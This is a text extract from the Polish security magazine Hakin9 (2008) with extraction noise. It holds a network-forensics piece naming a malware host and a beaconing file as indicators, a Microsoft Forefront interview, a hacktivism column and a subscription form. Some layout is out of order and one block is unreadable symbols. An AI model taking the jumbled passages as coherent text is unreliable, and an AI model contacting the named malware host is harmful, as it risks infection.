graceofholland.org (host z malware),
• pojawienie się w sieci pliku
update443.exe.
Na przedstawionym zrzucie ekranu
z platformy NetWitness NextGen,
zgromadzone są wszystkie informacje o
bieżącym ruchu sieciowym. Możliwa jest
też ich głębsza analiza, pozwalająca na
analityczne spojrzenie na skalę zagrożeń:
• Rozwinięcie informacji o sesjach
związanych z plikiem update443.exe
może wskazać analitykowi, które
komputery dotknął problem oraz jak
plik wędrował w sieci.
• Zrozumienie wektorów ruchu
związanych z graceofholland.org
może pomóc obsłudze firewalli np. w
zaimplementowaniu odpowiedniego
zakazu.
• Dokładniejsza analiza ruchu
wychodzącego z komputera-ofiary
pozwoli określić prawdziwą naturę
problemu.
Rysunek 2. obrazuje zapis ruchu
wychodzącego z komputera-ofiary. Wynika
z niego, że co 8 sekund poprzez port
TCP 443 zostaje wysłana informacja o
wielkości 366 bitów. Stosując narzędzie
do dekodowania pakietów, możemy
zobaczyć treść tego ruchu (nawet, jeśli
jest szyfrowany).
Krok następny – reakcja
Co zatem powinno się zdarzyć teraz?
Dysponując wiedzą przedstawioną w
zarysie powyżej, możemy podjąć działania
w celu przywrócenia odpowiedniego
poziomu bezpieczeństwa sieci.
• Analiza skali w celu upewnienia się,
że inne stacje nie są zainfekowane
przykładowym malware oraz usunięcie
go z sieci.
• Głębsza analiza sieci z użyciem
pełnego przechwytywania pakietów w
celu upewnienia się, że przedstawiona
metoda jest jedyną metodą
ataku w danej chwili, np. poprzez
bardziej szczegółowe spojrzenie
na niestandardowy ruch w sieci, na
portach 80, 443, 53, 25 itd.
• Zmiana konfiguracji firewalli i/lub
wzbogacenie IDS o nową sygnaturę.
• Skierowanie bezpośrednio do winnego
użytkownika komunikatu o złamaniu
zasad bezpieczeństwa i narażeniu
organizacji.
• Zmiana polityk w zakresie otwartości
portu TCP 443.
• Remediacja.
Zaprezentowane tu reakcje są w
znacznym stopniu manualne, jednak
Rysunek 2.
Spojrzenie śledcze na ruch wychodzący z zaatakowanego komputera
Ewolucja narzędzi bezpieczeństwa
Bezsporne fakty:
• Luka czasu pomiędzy nieznanym incydentem a lekarstwem jest na ogół duża;
• Narzędzia powstają by walczyć z konkretnymi problemami, na zasadzie: wirus -> antywirus;
• Rozwiązania nie chronią przed nieznanym;
Rysunek 3.
Historia zagrożeń i rozwiązań bezpieczeństwa.
W Sieci:
• http://www.mediarecovery.pl,
• http://www.forensictools.pl,
• http://www.netwitness.com,
• http://www.guidancesoftware.com.
������������
�����
����
��������
����
����
����
����
�������
����
��������
���������
���������
����
���
���� ����
����
���������
�������
����
�����������������
�������
����
����������
�����
�������
�
MONITORING ZABEZPIECZEŃ
73
HAKIN9
6/2008
zaawansowane platformy śledcze
typu Netwitness NextGen czy Encase
Enterprise oferują również mechanizmy
automatycznej reakcji i jej powiązania
z innymi istniejącymi systemami,
rozszerzając znacznie ich możliwości i
pozwalając na odpowiednie zarządzanie
incydentem. Nawet zagrożenia typu
zero-day czy zachowania szpiegowskie
lub kryminalne mogą być obsłużone
natychmiast. Dla przykładu – w sytuacji
wykrycia nienormalnego ruchu sieciowego
na porcie 53 (DNS), w czasie gdy ruch ten
jest obserwowany pod kątem kontekstu
i zawartości, platforma śledcza pozwala
analitykom bezpieczeństwa reagować
na bieżąco i nie odwracać uwagi od
rzeczywistego problemu.
Podsumowanie
Większość – nawet dużych – organizacji,
planując nakłady na bezpieczeństwo nie
zakłada, że systemy „przedincydentalne”
przygotowują organizację wyłącznie na
znane zagrożenia. Równocześnie, wg.
ankiety przeprowadzonej przez Forrester
Research, jedną z największych na świecie
firm zajmujących się badaniem rynku, 60
procent menadżerów bezpieczeństwa nie
potrafi odpowiedzieć na pytanie: ile kosztują
moją organizacje incydenty bezpieczeństwa.
Okazuje się, że w większości przypadków nie
istnieją w firmach i instytucjach mechanizmy
szacowania skali, a kosztów tych nie da się
policzyć. Duża część incydentów nie jest
nawet poznana. W związku z tym nie potrafią
oni uzasadnić zarządom uzasadnienia
wydatków na te cele. W efekcie niespełna 30
procent badanych przeznacza jakiekolwiek
środki na monitorowanie i mechanizmy
pozwalające wyjść poza incydent. Problem
ten nie występuje przy budżetowaniu zakupów
typu antywirus. Tymczasem możliwość
spojrzenia na sieć niejako z góry i absolutna
wiedza o wszystkim, co się w niej dzieje,
nawet w skali przedsiębiorstwa daje zupełnie
inne możliwości ochrony również przed
nieznanym. Takie podejście do incident
response pozwala uchronić się przed
stratami, a w każdym razie z całą pewnością
je minimalizować. Analiza ruchu na poziomie
sieci uniemożliwia ukrycie w niej czegokolwiek.
Narzędzie typu Netwitness, pozwalając na
pełne przechwytywanie pakietów i analizę
sieci, daje nowe spojrzenie na przyszłość
ułomnych systemów bezpieczeństwa.
Znane incydenty bezpieczeństwa
Titan Rain (2003)
Był jednym z pierwszych dużych skoordynowanych ataków na duże sieci rządowe, którego ofiarą padły
NASA, rządowe laboratoria USA a nawet Locheed Martin. Winą za działania obciążono chińczyków
jednak ich rzeczywista natura (opłacone działania szpiegowskie?) pozostała nieznana. Dopiero w
2005 roku dyrektor jednego z instytutów zajmujących się bezpieczeństwem s Stanach Zjednoczonych
przyznał, że istnieją dowody na to, że działania te były koordynowane przez wywiad chiński.
TJX (ok. 2005)
Firma TJX była przykładem poważnych zaniedbań bezpieczeństwa, dzięki którym zorganizowana
grupa przestępcza wykradła około 50 mln kart kredytowych i ok. 500 tys. danych osobowych
klientów TJX. Proceder kradzieży danych trwał co najmniej kilkanaście miesięcy a, wg. niektórych
informacji, nawet lat. Działania finansowane były prawdopodobnie przez rosyjską mafię a straty
korporacji szacuje się na ponad miliard dolarów.
Eddie Schwartz
CISP, CISA, jest szefem bezpieczeństwa korporacji
NetWitness, lidera rynku systemów monitoringu następnej
generacji. Ma za sobą 25 lat doświadczeń w dziedzinie
bezpieczeństwa i zarządzania bezpieczeństwem
w organizacjach finansowych i rządowych Stanów
Zjednoczonych. Swoją wiedzę koncentruje na
poszukiwaniu nowoczesnych metod incident response.
Przemysław Krejza
dyrektor ds. badań i rozwoju w Mediarecovery,
największej polskiej firmie świadczącej profesjonalne
usługi informatyki śledczej (computer forensics). Prawnik,
informatyk. Wcześniej 8 lat na stanowisku zarządzania
działem odzyskiwania danych w firmie Ontrack. Autor
publikacji na tematy związane z informatyką śledczą
i odzyskiwaniem danych. Prelegent wielu konferencji i
seminariów.
Kontakt z autorem: biuro@mediarecovery.pl
R
E
K
L
A
M
A
74
WYWIAD
HAKIN9 6/2008
ROZMOWA Z ELŻBIETĄ STOJEK
75
HAKIN9
6/2008
h9: Czy zajmuje się Pani teraz jakimś
większym projektem, jeśli tak – to
jakim?
E.S.: Ponieważ klient jest z reguły duży,
zajmuję się cały czas dużymi projektami
– przy czym dzielą się one na dwa
rodzaje: tam, gdzie bezpieczeństwo IT
jest nieodzownym elementem złożonego
rozwiązania oraz tam, gdzie projekt
całkowicie opiera się o produkty i usługi
związane tylko z bezpieczeństwem.
Osobiście preferuję uczestniczenie w
projektach traktujących temat całościowo,
np. bezpieczna komunikacja, bezpieczny
obrót dokumentami, bezpieczny zdalny
dostęp pracowników mobilnych itp. Takie
podejście gwarantuje kompleksowe
rozwiązanie problemu klienta i dostarczenie
pełnowartościowego rozwiązania
pochodzącego od jednego producenta.
Temat bezpieczeństwa jest na tyle szeroki,
że jest zawsze sporo do zrobienia i to
nawet u klientów, którzy zarzekają się, że
są bezpieczni, gdyż w zeszłym roku wydali
na technologię dużą część budżetu – ale
przecież wiadomo, że zagrożenia rozwijają
się każdego dnia.
h9: Chciałabym zapytać o technologię
Microsoft Forefront Security: jak idą
prace rozwojowe, czego można się
spodziewać?
E.S.: Microsoft bardzo intensywnie
inwestuje i rozwija zabezpieczenia
swoich produktów od dłuższego
czasu. Inwestycje te możemy podzielić
na trzy rodzaje. Po pierwsze, jest to
doskonalenie produktów samych w
sobie – zgodnie z inicjatywą Trustworthy
Computing (ogłoszoną przez Billa
Gatesa w styczniu 2002 roku) oraz
po wprowadzeniu w życie nowych
zasad tworzenia oprogramowania
(Security Development Lifecycle), każde
z rozwiązań powstaje w zgodzie z
ściśle określonym harmonogramem
prac, gdzie bardzo ważnymi etapami
są projektowanie produktu, pisanie
bezpiecznego kodu, wewnętrzne i
publiczne testowanie rozwiązania
oraz wsparcie przez jednostkę
Microsoft Security Response Center,
po premierze produktu. Wynikiem
tego postępowania jest między innymi
spadek liczby poprawek bezpieczeństwa
i funkcjonalnych, dotyczących nowych
systemów i aplikacji, w porównaniu
z ich liczbą dla poprzednich wersji
oprogramowania. Każde z działań
zespołów deweloperskich jest dokładnie
monitorowane i analizowane, dzięki
takiemu postępowaniu Windows Vista
został uznany za najbezpieczniejszy z
systemów Microsoft. Kolejnym krokiem
hakin9: Czym się Pani zajmuje w MS?
Elżbieta Stojek: W firmie Microsoft zajmuję
się przede wszystkim prowadzeniem i
wsparciem różnych działań związanych z
promowaniem rozwiązań bezpieczeństwa,
jakie oferuje Microsoft do uzupełnienia
ochrony infrastruktury informatycznej. Pełnię
rolę doradcy dla kluczowych Klientów i
Partnerów firmy.
h9: Jak długo pracuje Pani w MS?
E.S.: Staż mojej pracy wynosi dwa lata,
jednak chciałabym podkreślić, że już
wcześniej przez okres kilku lat byłam
związana z technologią Microsoft, jak
również innych producentów zajmujących
się bezpieczeństwem informatycznym
h9: Jak układa się Pani współpraca z MS?
E.S.: Współpraca od samego początku
układała się tak, jak powinna dla obu
stron, a praca daje mi satysfakcję, co
jest najważniejsze. Firma oferuje duże
możliwości rozwoju i kształcenia się w
Polsce oraz za granicą. Microsoft to
przede wszystkim międzynarodowa
społeczność ludzi posiadających
wiedzę oraz doświadczenie, pracujących
w różnych kulturach i, co ważne w
dzisiejszych czasach – ludzi działających
z pasją, ja czuję się w tej społeczności
bardzo dobrze.
Bezpieczeństwo
przede wszystkim
Moja historia z bezpieczeństwem informatycznym zaczęła się kilka lat temu, kiedy na
Uniwersytecie Wrocławskim miałam okazję zajmować się genetyką „in silico” i wtedy
– oprócz algorytmów genetycznych czy sztucznej inteligencji – zaczęłam powoli
angażować się w tematy zabezpieczeń sieci. Kilka lat pracy w sektorze IT pozwoliło
mi na podejmowanie kolejnych wyzwań związanych z tą tematyką i zdobywanie
doświadczenia, a jakiś czas temu podjęłam decyzję o współpracy z firmą Microsoft.
74
WYWIAD
HAKIN9 6/2008
ROZMOWA Z ELŻBIETĄ STOJEK
75
HAKIN9
6/2008
na ścieżce bezpieczeństwa było
wprowadzenie przez firmę około dwa
lata temu rodziny rozwiązań Forefront
Security dla zapewnienia zintegrowanej
ochrony infrastruktury opartej o systemy
Microsoft. Wśród tych produktów
znajdują się rozwiązania antywirusowe
i antyspyware dla stacji roboczych,
laptopów i serwerów plików, a także
rozwiązania antywirusowe, antyspam
i filtrowania treści dla serwerów
aplikacyjnych oraz produkty do ochrony
styku z Internetem – takie, jak brama
bezpieczeństwa czy SSL VPN. Olbrzymim
plusem tych rozwiązań jest wykorzystanie
sprawdzonej już technologii, którą
firma pozyskała od Partnerów, a
także bardzo dobra integracja z
systemami Microsoft i usługami
Active Directory. Jako trzeci przykład
działań rozwojowych firmy można
podać pozyskiwanie strategicznych
Partnerów i współpracę z ekspertami z
dziedziny bezpieczeństwa IT oraz czynne
członkostwo w organizacjach rządowych
i pozarządowych odpowiedzialnych za
zwalczanie zagrożeń internetowych.
W przypadku wszystkich naszych
rozwiązań Forefront – można pobrać
wersje pełne z kluczem testowym
na okres 30 lub 120 dni. Wszystkie
rozwiązania są dostępne na stronie
www.microsoft.com/forefront. Na
powyższej stronie znajdują się
również gotowe środowiska wirtualne,
które można testować bez potrzeby
przygotowywania laboratorium.
h9: Jakie są zagrożenia płynące z tej
technologii?
E.S.: Zapytałabym raczej, jaka jest przewaga
konkurencyjna nad innymi technologiami.
Rozwiązania bezpieczeństwa mają
służyć bezpieczeństwu, a nie stanowić
zagrożenie. Microsoft przygotował produkty
bezpieczeństwa dla własnych rozwiązań
systemowych i aplikacyjnych, przewagą
będzie na pewno skuteczność, prostota
użytkowania i jeszcze raz integracja z
pozostałymi naszymi narzędziami. Wielu
klientów może dostrzec również zaletę
w zakupie całej platformy od jednego
producenta.
h9: W jaki sposób jest realizowany
proces skanowania przez więcej niż
jeden program antywirusowy, czy
nie występują konflikty (sytuacje,
w których dwa programy próbują
odwołać się do tego samego
dokumentu)?
E.S.: W przypadku ochrony serwerów
aplikacyjnych program antywirusowy
jest jeden, natomiast skanerów
w niego wbudowanych jest kilka i
pochodzą one od różnych dostawców
systemów antywirusowych. Skanery
mogą działać w tym samym
czasie, skanować wielowątkowo
i w zaalokowanej wcześniej pamięci
serwera. Rozwiązanie takie nie
powoduje opóźnień wynikających z
oczekiwania na aktualizację lub naprawę
skanera, gdyż zawsze któryś z silników
antywirusowych działa i przeprowadza
proces skanowania na bieżąco,
bez przetrzymywania dokumentów i
wiadomości na serwerze.
h9: Jak wiemy, w bazach danych
można umieszczać także odwołania
do zewnętrznych linków, grafikę – czy
systemy skanujące sprawdzają także
inne formaty plików niż Word?
E.S.: Rozwiązania Forefront skanują i
przeszukują dokumenty pod kątem
słów kluczowych, fraz czy dokumentów
zagnieżdżonych w większości dokumentów
Office, w formacie Open XML,
spakowanych czy zaszyfrowanych RMS,
a także umożliwiają blokowanie plików
typu .exe, .mp3 i innych o popularnych
rozszerzeniach.
h9: Kto dostarcza oprogramowanie
antywirusowe do tej technologii,
czy użytkownik może skorzystać z
każdego programu dostępnego na
rynku?
E.S.: W przypadku ochrony stacji
roboczych, serwerów plików i laptopów
Microsoft oferuje pojedynczy własny
skaner antywirusowy i antyspyware
oraz skaner wykrywania podatności
systemów, natomiast dla ochrony
serwerów aplikacyjnych udostępniamy
pakiet rozwiązań – połączenie
ośmiu różnych technologii znanych
producentów – Microsoft, Kaspersky,
Sophos, Virus Buster, Norman, AhnLab,
Authentium i CA. Administrator ma
pełną dowolność w wybraniu zestawu
skanerów, które będą działać w
danym punkcie sieci. Dodam jeszcze,
że wszystkie nasze rozwiązania są
certyfikowane i sprawdzone pod
względem jakości i wydajności przez
niezależne laboratoria. Wyniki testów
można między innymi porównać na
Virus Bulletin lub AV-test.org.
h9: W jaki sposób ta technologia wpływa
na pracę serwera,? Sytuacja jest w miarę
jasna, jeśli sieć opiera się o strukturę
LAN, ale w przypadku dużych oddziałów,
podzielenia bazy dokumentów na różne
76
WYWIAD
HAKIN9 6/2008
lokalizacje (a systemy te tworzą zapytania
SQL, przeszukują bazy danych) – jaki
procent ruchu w sieci generowany jest w
wyniku działania tych aplikacji?
E.S.: Obciążenia są dwojakiego rodzaju
i są albo generowane przez sam
program pracujący na serwerze lub
stacji, albo też są to obciążenia sieci i
wiążą się one z pobieraniem aktualizacji
i wysyłaniem wiadomości o zdarzeniach.
W przypadku rozwiązania Microsoft
Forefront for Exchange, program nie
tylko pozwala na zaoszczędzenie
wydajności poprzez pracę wielowątkową
i w pamięci serwera, ale również
umożliwia znakowanie wiadomości
pocztowych stemplem antywirusowym
w ten sposób, że każdy kolejny serwer
pocztowy występujący w organizacji
rozpoznaje stempel i w związku z
tym, że wiadomość jest czysta, nie
musi powielać procesu skanowania.
Oprócz tego zmienione zostały zasady
skanowania w tle dla serwerów
Exchange Mailbox i możliwe jest
skanowanie wybiórcze – wybranej
grupy wiadomości. Klienci zazwyczaj
nas pytają, czy produkt Microsoftu nie
obciąża serwerów, jeśli pozwalamy
na jednoczesne uruchomienie kilku
skanerów na jednej maszynie. W tym
przypadku obciążenie zależy również
od wydajności samej maszyny oraz
złożoności systemu pocztowego i przy
dodawaniu kolejnych skanerów wzrasta
w niewielkim stopniu. Jeśli spadek
wydajności jest nie do zaakceptowania,
administrator zawsze może zmniejszyć
liczbę skanerów np. do 2 na serwerze
Mailbox przy pozostawieniu 5
na serwerze Edge. W przypadku
stacji roboczych, agent programu
antywirusowego jest transparentny dla
użytkownika końcowego, a wymagania
sprzętowe są podobne, jak dla
systemu operacyjnego. Skanowanie na
stacji roboczej powoduje minimalne
obciążenie systemu i jest niezauważalne
dla użytkownika końcowego. System
Forefront Client Security aktualizuje
się z WSUSa lub z Microsoft Update
i pobiera aktualizacje różnego typu i
różnej wielkości (od kilkunastu kb do
kilkudziesięciu Mb), w zależności od
dnia miesiąca. Uaktualnienia możemy
dostarczyć w różnych godzinach przy
wykorzystaniu pozostałych narzędzi
zarządzania Microsoft.
h9: Co kryje się pod nazwą
kompleksowa linia produktów?
E.S.: Jest to bardzo szerokie pojęcie,
którego podstawę stanowi cała
linia systemów Windows wraz z
rozwiązaniami do ich zabezpieczeń,
czyli wszystkimi produktami Forefront
Server (ochrona Exchange i SharePoint),
Client (ochrona stacji roboczych i
serwerów), Edge (ochrona styku sieci
i zabezpieczenie zdalnego dostępu) a
także usługami ochrony antywirusowej
i antyspam świadczonymi przez
Microsoft – Exchange Hosted Services,
oprogramowaniem do ochrony danych
RMS oraz narzędziami do zarządzania i
monitorowania sieci – Microsoft System
Center. Z tymi produktami ściśle wiążą
się również narzędzia pozwalające na
kontrolę i zarządzanie tożsamościami
użytkowników.
h9: Strategia Defense in Depth – może
Pani przytoczyć technologie z nią
związane?
E.S.: W przypadku Microsoft jest to
wszystko, co wiąże się z ochroną
dogłębną i oprogramowaniem
Windows, Forefront, System Center.
Firma dostarcza rozwiązania
do zarządzania tożsamościami
użytkowników, szyfrowania dokumentów,
zabezpieczenia przed złośliwym
oprogramowaniem i włamaniami dla
różnych segmentów sieci, jak również
narzędzia do backupu, zarządzania i
monitorowania środowiska IT.
h9: W jaki sposób MS postrzega
środowisko specjalistów IT?
E.S.: Środowisko specjalistów IT jest
dla firmy bardzo ważne i pomocne
w tworzeniu oraz rozwoju rozwiązań.
Microsoft organizuje i uczestniczy w
społecznościach użytkowników systemów
i ekspertów technologii. Dochodzi do
ciągłej dyskusji i wymiany informacji
na spotkaniach, forach i portalach.
Przykładem jest portal społeczności
Windows – www.wss.pl.
h9: Jakie akcje dla specjalistów IT
Państwo przeprowadzają?
E.S.: Akcje, jakie firma przeprowadza,
skierowane są do specjalistów IT
zatrudnionych u naszych Klientów i
Partnerów. Są to kampanie i inicjatywy
różnego typu. Inżynierowie mogą
zazwyczaj wcześniej uczestniczyć
w testach rozwiązań Microsoft lub
programach wczesnej adaptacji
oprogramowania. Organizujemy też
wspólne konferencje, seminaria i dyskusje
poświęcone produktom Microsoft.
Staramy się rozwijać wiedzę i umiejętności
naszych Partnerów poprzez dostarczanie
szkoleń lub rozwijanie kompetencji, np.
dzięki inicjatywie skills builder. Poza tym na
naszych witrynach można znaleźć dużo
bezpłatnych szkoleń oraz poradników.
h9: Jak Microsoft ocenia hakin9 jako
medium umożliwiające dotarcie do
specjalistów IT?
E.S.: Hakin9 jako chyba jedyne pismo
na rynku ma możliwość dotarcia do
szerokiego grona zainteresowanych
osób. Myślę, że jest to dobry sposób
na dostarczenie informacji ludziom
pracującym z technologiami
informatycznymi i zmianę ich zdania
lub rozpoczęcie dyskusji na temat
technologii Microsoft, która na
przełomie kliku ostatnich lat obrała inny
kierunek, jeśli chodzi o postrzeganie
bezpieczeństwa (patrz Trusthworhy
Computing) i dostarczanie bezpiecznych
usług i produktów.
h9: Dziękuję za rozmowę
E.S.: Dziękuję
ROZMOWA Z ELŻBIETĄ STOJEK
77
HAKIN9
6/2008
FELIETON
78
HAKIN9 6/2008
79
HAKIN9
6/2008
Aktywny terror
hackingu
– podobnie, jak hacker jest identyfikowany z
crackerem czy script kiddie. Czy na pewno?
Hacktywizm w czystej formie posiada
jedną mocną stronę – jest popierany przez
bardzo istotną część społeczeństwa (oprócz
tej, w którą jest wymierzony), dla której cel
manifestacji jest szczytny – nawet, jeśli
sposób jej przeprowadzenia wiąże się z
mniejszym lub większym nagięciem prawa.
Przykładem tutaj mogą być: podmiany
stron WWW w proteście przeciwko próbom
nuklearnym czy włamywanie się do
systemów providerów internetowych w celu
pełnej identyfikacji osób podejrzanych o
pedofilię. Czyny te są popierane, ponieważ
są zbieżne z wartościami protestu
obywatelskiego, w świecie, gdzie hacktywiści
wypowiedzieli wojnę totalitarnym reżimom
i państwom, w których łamie się wolność
słowa. Hacktywizm w swym założeniu ma
na celu zwrócenie uwagi całego globu na
problemy ograniczające lub niszczące życie
ludzkie. Spotykamy się z nim w miejscach,
gdzie nie pozwala się ludziom normalnie
żyć, swobodnie rozmawiać, poruszać
czy wyrażać własnych myśli. Tam, gdzie
blokowany jest dostęp do alternatywnych
źródeł informacji, serwisów internetowych,
kontaktów z opozycją. Sytuacja diametralnie
się zmienia, kiedy powstają grupy będące
na utrzymaniu agencji rządowych, którym
dyktowane jest pojęcie dobra. Sama
sytuacja, w której nad grupą hackerów
stoi ktoś ponad, nie wiąże się z sednem
ich ideologii. Josh Corman, główny strateg
bezpieczeństwa firmy IBM, zauważył pewną
prawidłowość – hacking robi się polityczny.
Na początku w hackingu chodziło o prestiż.
Później, gdy na rynku usług informatycznych
wykształciła się luka i zaczęło powstawać
wiele firm oferujących usługi związane
z testowaniem zabezpieczeń i procedur
bezpieczeństwa w organizacjach – chodziło
już o prestiż oraz profit. Dzisiaj kryminalni
G
wałtowna ekspansja e-komercji za
pośrednictwem Internetu dała nowe
możliwości ingerowania w kwestie
publiczne z pomocą nowego medium dla
własnych korzyści politycznych. By zrozumieć
problem, musimy najpierw spojrzeć na Sieć
jako alternatywę dla wolnych mediów, gdzie
każdy może wypowiedzieć się na temat
polityki rządu, decyzji biznesowych, a nawet
prowadzonych wojen i projektów z nimi
związanych. I nie mam tu na myśli wyrażania
swoich opinii na blogach i zbierania
podpisów pod elektronicznymi petycjami.
Chodzi o czystą formę hacktywizmu –
atakowania / włamywania się do systemów
komputerowych, zazwyczaj innych rządów,
dla celów politycznych, w której działacze
spodziewają się, że ich wiadomość dotrze
do adresata, nie omijając opinii publicznej.
Praktyka ta w ostatnich latach przekształca
się w naprawdę potężne narzędzie wpływu
na opinię publiczną. Należy przypomnieć,
że hacktywizm (połączenie dwóch słów:
hack i aktywizm) w swoim założeniu jest
akcją mającą na celu zwrócenie uwagi
opinii publicznej na określony problem
społeczny bądź polityczny. W takim razie,
gdzie kończy się hacktywizm, a zaczyna
cyberterroryzm? Dla jednych hacktywizm
jest przecież przejawem obrony uciśnionych,
dla drugich terroryzmem. Dla niektórych
pseudoekspertów to jedno i to samo
Aktywiści podczas swoich wystąpień wycierają buty na chodnikach przed siedzibami
wielu organizacji rządowych, zarzucając je różnymi hasłami politycznymi, podczas gdy
inni wycierają opuszki palców na klawiaturach, zarzucając serwer zapytaniami w celu
jego całkowitego obciążenia. Obydwie te czynności są przejawem form oficjalnego
protestu i politycznego aktywizmu, ale jedna z nich stoi przed, a druga – za literą prawa.
Patryk Krawaczyński jest studentem Informacji Naukowej
na Uniwersytecie Mikołaja Kopernika w Toruniu. W wolnych
chwilach stara się prowadzić serwis na temat administracji
oraz podstawowych mechanizmów bezpieczeństwa systemu
operacyjnego Linux – www.nfsec.pl. Jego zainteresowania
wiążą się także z ogólnymi zjawiskami zachodzącymi
w społeczeństwie, na które oddziałują Technologie
Informacyjne.
Kontakt z autorem: agresor@nfsec.pl
FELIETON
78
HAKIN9 6/2008
79
HAKIN9
6/2008
hackerzy wyznają regułę trzech P– 3xP
– Prestiż, Profit, Polityka. Prestiż w środowisku
czarnych kapeluszy. Profit z wykonywanych
usług. Polityczne wsparcie ze strony
rządu lub motywacja będąca świetną
wymówką do przeprowadzenia ataku.
Inteligentny hacker, pozbawiony kręgosłupa
moralnego, będący w stanie wyrządzić
szkody, o jakich pomarzyć mogą tylko
tradycyjni agenci, sabotażyści czy szpiedzy,
posiadający rządowe wsparcie materialne,
technologiczne, a także najważniejsze
– ideologiczne – w swojej ślepej wierze widzi
tylko dokonywanie zadań dla swojego kraju.
Podobnie jest w sytuacji, w której różne grupy
oferujące wynajęcie swoich botnetów nie
przywiązują zbytniej wagi do celu ataku. Dla
nich liczy się tylko profit z wykonanej pracy.
W tej formie otrzymujemy cyberterroryzm
pod świadomą kontrolą. Jest on nastawiony
wyłącznie na osiąganie prywatnych celów
– bez żadnych pozytywnych skutków
dla ogółu. Aby atak można było nazwać
cyberterrorystycznym, powinien on być
skierowany przeciw konkretnym osobom
lub strukturom – wymierzony przeciw
elektronicznym zasobom kontrolującym w
dużym stopniu infrastrukturę gospodarczą
danego kraju. Wiele bowiem zasobów
informatycznych związanych z krytycznymi
infrastrukturami, niezbędnymi do życia w
państwie, jest dostępnych poprzez Sieć, a
przejęcie kontroli nad nimi jest głównym
celem cyberterrorystów. W dodatku
– w przeciwieństwie do hacktywizmu
– cyberterroryzm nie zwraca uwagi
opinii publicznej na ważny problem
społeczny czy polityczny, lecz wymusza na
społeczeństwie z góry narzucone działania.
Stanowi to doskonały wyróżnik pomiędzy
opisywanymi zjawiskami. Kontrast jest tym
większy, że działania hacktywistów nie
powodują ponadto szkód wywołujących
strach czy śmierć, z kolei pod groźbą
których ataki cyberterrorystyczne odnoszą
swoje zamierzone skutki. Także aspekt
przekazywania globalnej informacji nie
może być mylony z aktywnością mającą
na celu zniszczenie czy zakłócanie. Ryzyko
cyberterroryzmu w społeczeństwie zwiększa
się wraz ze wzrostem znaczenia technologii
w naszym życiu. Dostęp do różnego
rodzaju baz danych czy blokada systemów
komunikacyjnych skutecznie paraliżują
działania poszczególnych instytucji, a w
wymiarze masowym – nawet państwa.
W naszych dywagacjach dążymy
do uzyskania wyraźnego podziału na:
aktywizm (będący jedynie przejawem
aktywności politycznej, prowadzonej za
pomocą Internetu), hacktywizm (wcześniej
wspomniane połączenie aktywizmu,
propagowania idei i technik używanych
przez hakerów), cyberterroryzm (destrukcyjne
działania motywowane politycznie,
skierowane przeciw nieagresywnym celom),
a także cyberprzestępczość, szpiegostwo
gospodarcze czy wojny informacyjne
(cyberwojny) – ponieważ te trzy ostatnie
rządzą się swoimi własnymi prawami.
Wszystko zależy od motywu działania oraz
profitu, jaki chcemy poprzez te działania
osiągnąć. Nie zmienia to także faktu, że we
wszystkich wymienionych zjawiskach to
komputer odgrywa zasadniczą rolę narzędzia
aktywności kryminalnej. Dlatego, próbując
dokonać rzeczywistego wyodrębnienia
wyżej podanych definicji, musimy dokładnie
wiedzieć, co było motywem działania, jakie
korzyści zostały osiągnięte, a także – czy
komputer był narzędziem umożliwiającym
popełnienie przestępstwa, celem
popełnienia przestępstwa, czy może pełnił
funkcję incydentalną w trakcie popełniania
przestępstwa. We wszystkich możliwych
konfiguracjach tych czynników otrzymujemy
bowiem różnorakie definicje czynności
wykonywanych przez ludzi ukierunkowujących
swoje działania na cyberprzestrzeń.
A co z nami? Żyjemy w czasach, w
których informacja jest najważniejszym
towarem dla społeczeństwa. Jej
niematerialna wartość staje się bezcenna w
porównaniu z materialnymi przedmiotami.
Czy każdy z nas może być w jakimś
stopniu hacktywistą? Otoczeni szumem
informacyjnym i labiryntem reklam, musimy
przedzierać się przez niezachwiany monopol
mediów, ukierunkowany wyznaniami
prezesów. Na szczęście Internet w swojej
budowie rozbija całkowicie dystrybucję
tylko wybranych treści. Każdy z nas może
przełamać szarą rzeczywistość poprzez
szerzenie treści właściwych ze swojego
punktu widzenia. Łatwość, z jaką można
prezentować swoje poglądy sprawia, iż
zaburzony został paradygmat mediów oparty
na schemacie nadawca – odbiorca. Teraz
my – jako poszczególne jednostki – możemy
uczestniczyć w procesach społeczno
– politycznych naszego kraju, a nawet świata.
Dzięki globalnej Sieci oraz funkcjonującym
technologiom stajemy się aktywnymi
odkrywcami, gotowymi do przeprowadzania
analiz teraźniejszej i kreowaniu nowej
rzeczywistości. Sami możemy promować
różnorakie idee polityczne i społeczne. Bronić
wolności przekonań swoich, a także innych
osób. Bez nacisków i tyranii swobodnie
obserwować procesy zachodzące wokół
nas oraz dostrzegać występujące w
nich nieprawidłowości, pomagać innym
w dostępie do alternatywnych źródeł
informacji. Oczywiście, możemy stać się
także w jakimś stopniu cyberterrorystami
– wraz ze zorganizowaną grupą publikować
wygodne dla nas informacje na serwisach
społecznościowych, a nie dopuszczać tych,
które nie godzą się z naszymi przekonaniami.
Być głuchymi na zdanie innych, zamknięci w
swoim świecie pełnym nienawiści. Naturalnie
– wszystko to zależy od nas samych, bo
terrorem byłoby też dyktowanie, którą drogę
należy wybrać.
"Cyberprzestrzeń staje
się coraz bardziej
skomplikowana, a
swoich zjawiskach mniej
przejrzysta i trudniejsza
do przyswojenia.
Jako społeczeństwo
informacyjne
generujemy nowe
wyzwania i zagrożenia
bezpieczeństwa, wśród
których zdecydowanie
najniebezpieczniejszy
jest cyberterroryzm,
wymagający odgórnej
ochrony kluczowych
działów gospodarki,
którą może zapewnić
tylko państwo." Czy
umieszczenie takiego
wpisu na podmienionej
stronie rządu wskazywało
by na przejaw
hacktywizmu?
Kontakt
1. Telefon
+48 22 427 36 93
+48 22 427 36 79
+48 22 427 36 53
2. Fax
+48 22 244 24 59
2. Online
pren@software.com.pl
3. Adres
Bokserska 1
02-682 Warszawa
Polska
Roczna prenumerata
tylko
219
hakin9 – jak się obronić to ukazujący się w dwudziestu
czterech krajach Europy magazyn o bezpieczeństwie.
hakin9 porusza sprawy związane z bezpieczeństwem sys-
temów informatycznych – rozpatrywane zarówno od stro-
ny osoby naruszającej bezpieczeństwo, jak i osoby, która
bezpieczeństwo zapewnia. Radzimy jak skutecznie zabez-
pieczyć system przed hakerami i wszelkimi innymi zagro-
żeniami, oprowadzamy Czytelników po tajnikach najpopu-
larniejszych programów antywirusowych, systemów wy-
krywania włamań, narzędziach, których potrzebuje każdy
administrator.
,-
Zamówienie prenumeraty
Imię i nazwisko ...............................................................................
Nazwa firmy.....................................................................................
Dokładny adres ..............................................................................
.........................................................................................................
Telefon ............................................................................................
E–mail .............................................................................................
ID kontrahenta ................................................................................
